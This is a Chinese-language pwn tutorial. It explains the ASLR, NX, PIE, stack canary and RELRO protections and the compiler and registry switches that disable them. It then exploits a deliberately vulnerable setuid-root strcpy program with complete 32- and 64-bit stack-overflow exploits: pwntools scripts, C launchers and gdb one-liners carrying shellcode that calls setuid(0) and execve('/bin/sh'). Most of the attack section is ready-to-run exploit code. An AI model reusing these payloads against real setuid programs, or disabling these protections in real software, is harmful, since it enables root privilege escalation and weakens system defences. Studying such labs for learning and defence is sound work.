ASLR 是一种防范内存损坏漏洞被利用的计算机安全技术。ASLR通过随机放置进程关键数据区域的地址空间来防止攻击者能可靠地跳转到内存的特定位置来利用函数,以防范恶意程序对已知地址进行Return-to-libc攻击。ASLR在每次启动操作系统时会随机化加载应用程序的基地址和dll,只能随机化 堆、栈、共享库的基址。
Linux下查看:
cat /proc/sys/kernel/randomize_va_space
值为0表示未开启,值为1表示半开启,仅随机化栈和共享库,值为2表示全开启,随机化堆、栈和共享库
Windows下默认开启ASLR
关闭方法:
“开始”——>“设置”——>“更新与安全”——>“windows安全中心”——>“打开windows安全中心”——>“应用与浏览器控制”——>“Exploit Protection设置”
强制映像随机化默认关闭,只需关闭随机化内存分配和高熵ASLR即可,如图:
使用CFF explorer,取消勾选"DLL can move"的复选框,如图:
修改HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
关闭:"MoveImages"=dword:00000000
开启:"MoveImages"=-
数据执行保护(DEP)是一组对内存进行额外检查的硬件和软件技术,以帮助防止恶意代码在系统上运行。
No-Execute(不可执行),NX的原理是将数据所在内存页标识为不可执行,当程序执行流被劫持到栈上时,程序会尝试在数据页面上执行指令,因为数据页被标记为不可知性,此时CPU就会抛出异常,而不是去执行栈上数据。
未启用时:栈可以执行,栈上的数据也可以被当作代码执行。
启用时:栈不可执行,栈上的数据程序只认为是数据,如果去执行的话会发生错误。即栈上的数据不可以被当作代码执行。
## 栈可执行:NX disabled
gcc -z execstack
## 栈不可执行:NX enabled(默认选项)
gcc -z noexecstack
PIE(Position Independent Executables)是编译器(gcc,…)功能选项(-fPIE / -fpie),作用于编译过程,可将其理解为特殊的 PIC(so专用,Position Independent Code),加了 PIE 选项编译出来的 ELF 用 file 命令查看会显示其为 so,其随机化了 ELF 装载内存的基址(代码段、plt、got、data 等共同的基址)。其效果为用 objdump、IDA 反汇编之后的地址是用偏移表示的而不是绝对地址。
启用时:代码段、plt、got、data 等共同的基址会随机化。在编译后的程序中,只保留指令、数据等的偏移,而不是绝对地址的形式。
## 关闭:No PIE(默认选项)
-no-pie
## 开启:PIE enabled
-fpie -pie / -fPIE -pie
## 笔者并不知道这两个选项有什么区别,在用不同选项编译一个程序时他们两个的 hash 居然都一样,所以在此求教各位。
金丝雀保护,开启这个保护后,函数开始执行的时候会先往栈里插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法,如果不合法就停止程序运行。真正的 cookie 信息也会保存在程序的某个位置。插入栈中的 cookie 一般在 ebp/rbp 之上的一个内存单元保存。
部分函数保护:在一些容易受到攻击的函数返回地址之前添加 cookie 。在函数返回时,检查该 cookie 与原本程序插入该位置的 cookie 是否一致,若一致则程序认为没有受到栈溢出攻击。
所有函数保护:有的自定义函数在返回地址之前都会添加 cookie 。在函数返回时,检查该 cookie 与原本程序插入该位置的 cookie 是否一致,若一致则程序认为没有受到栈溢出攻击。
## 无 canary 保护:No canary found
-fno-stack-protector(无) / -fstack-protector(无)
## 部分 canary 保护:Canary found(默认选项)
-fstack-protector-strong
## 全部 canary 保护:Canary found
-fstack-protector-all
设置符号重定位表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对 GOT 攻击。
未开启:在这种模式下关于重定位并不进行任何保护。
部分开启:在这种模式下,一些段 (包括.dynamic) 在初始化后将会被标识为只读。
全部开启:在这种模式下,除了会开启部分保护外。惰性解析会被禁用(所有的导入符号将在开始时被解析,.got.plt 段会被完全初始化为目标函数的终地址,并被标记为只读)。此外,既然惰性解析被禁用,GOT[1] 与 GOT[2] 条目将不会被初始化为提到的值。
## 关闭: No RELRO
-z norelro
## 开启: Partial RELRO(默认选项)
-z lazy
## 完全开启: Full RELRO
-z now
#include
#include
void success()
{
puts("Success!\n");
}
void vuln(char *p)
{
char buff[100];
char buff2[100];
strcpy(buff,p);
}
int main(int argc, char **argv)
{
if(argc<2)
{
printf("Usage: %s \n" ,argv[0]);
return 0;
}
vuln(argv[1]);
return 0;
}
gcc pwn_1.c -o pwn_1 -m32 -z execstack -z norelro -no-pie
sudo chown 0:0 pwn_1
sudo chmod 4755 pwn_1
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
1、Payload=填充数据+shellcode+填充数据+jmp eax地址
2、Payload=填充数据+jmp esp地址+ shellcode
查看main函数:disassemble main
设置断点:b *0x0804918c(随便设置一个断点)
第一种shellcode布局方式下使用String+填充数据检测坏字节,没有坏字节的情况下数据没有被截断,会造成奔溃,如图:
第二种shellcode布局方式下使用填充数据+String检测坏字节,在0x08之后的数据被截断,说明坏字节是0x09,如图:
本程序中的坏字节如下:
0x00,0x09,0x0a,0x20
#!/usr/bin/python3
from pwn import *
# 偏移量
offset=112
# call eax地址
eax=0x8049019
sc=b'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
pad=b'\x90'*8+sc+b'\x90'*(offset-40)
buffer=pad+p32(eax)
p=process(['./pwn_1',buffer])
p.interactive()
#!/usr/bin/python3
from pwn import *
offset=112
esp=0x804a087
sc=b'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
pad=b'\x90'*offset
buffer=pad+p32(esp)+sc
p=process(['./pwn_1',buffer])
p.interactive()
#include
#include
#include
int main(int argc,char **argv)
{
// 偏移量
int offset=112;
// call eax地址
char eax_addr[]="\x19\x90\x04\x08";
// shellcode
char sc[]="\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
char buff[200];
// 将buff全部设置为Nop
memset(buff,0x90,200);
// 在第8个字符后面放置shellcode
memcpy(buff+8,sc,32);
// 在第112个字符后放置call eax地址
memcpy(buff+offset,eax_addr,4);
// 运行第一个参数指向的程序,并将buff传入程序
execl(argv[1],argv[1],buff,NULL);
return 0;
}
#include
#include
#include
int main(int argc,char **argv)
{
// 偏移量
int offset=112;
// jmp esp地址
char esp_addr[]="\x87\xa0\x04\x08";
// shellcode
char sc[]="\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
char buff[400];
// 将buff全部设置为Nop
memset(buff,0x90,400);
// 在第112个字符后放置jmp esp地址
memcpy(buff+offset,esp_addr,4);
// 在第116个字符后面放置shellcode
memcpy(buff+116,sc,32);
// 运行第一个参数指向的程序,并将buff传入程序
execl(argv[1],argv[1],buff,NULL);
return 0;
}
linux_64与linux_86的区别主要有两点:
0x00007fffffffffff
,否则会抛出异常。#include
#include
void success()
{
puts("Success!\n");
}
void vuln(char *p)
{
char buff[100];
char buff2[100];
strcpy(buff,p);
}
int main(int argc, char **argv)
{
if(argc<2)
{
printf("Usage: %s \n" ,argv[0]);
return 0;
}
vuln(argv[1]);
return 0;
}
gcc pwn_1.c -o pwn_1_x64 -m64 -z execstack -z norelro -no-pie
sudo chown 0:0 pwn_1_x64
sudo chmod 4755 pwn_1_x64
r `python -c "print 'A'*120+'\x42\x11\x40'"`
r `python -c "print '\x90'*23+'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'+'\x90'*70+'\x50\xdf\xff\xff\xff\x7f'"`
和32位程序检查坏字节的方法一样
覆盖RIP的值为callq *%rax
指令地址即可执行shellcode(可绕过操作系统ASLR),不同的shellcode有不同的结果,可能无法获得root权限
./pwn_1_x64 `python -c "print '\x90'*27+'\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'+'\x90'*50+'\x10\x10\x40'"`
#!/usr/bin/python3
from pwn import *
# call rax地址
rax=b'\x10\x10\x40'
# 偏移量
offset=120
# 43字节可获得root权限的shellcode
sc=b'\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'
pad=b'\x90'*27+sc+b'\x90'*(offset-27-43)
buff=pad+rax
ret=process(['./pwn_1_x64',buff])
ret.interactive()
#include
#include
#include
int main(int argc,char **argv)
{
// 偏移量
int offset=120;
// call rax地址
char rax_addr[]="\x10\x10\x40";
// shellcode
char sc[]="\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
char buff[200];
// 将buff全部设置为Nop
memset(buff,0x90,200);
// 在第8个字符后面放置shellcode
memcpy(buff+8,sc,43);
// 在第120个字符后放置call rax地址,长度4和8都可,不足4字节可以填4
memcpy(buff+offset,rax_addr,4);
// 运行第一个参数指向的程序,并将buff传入程序
execl(argv[1],argv[1],buff,NULL);
return 0;
}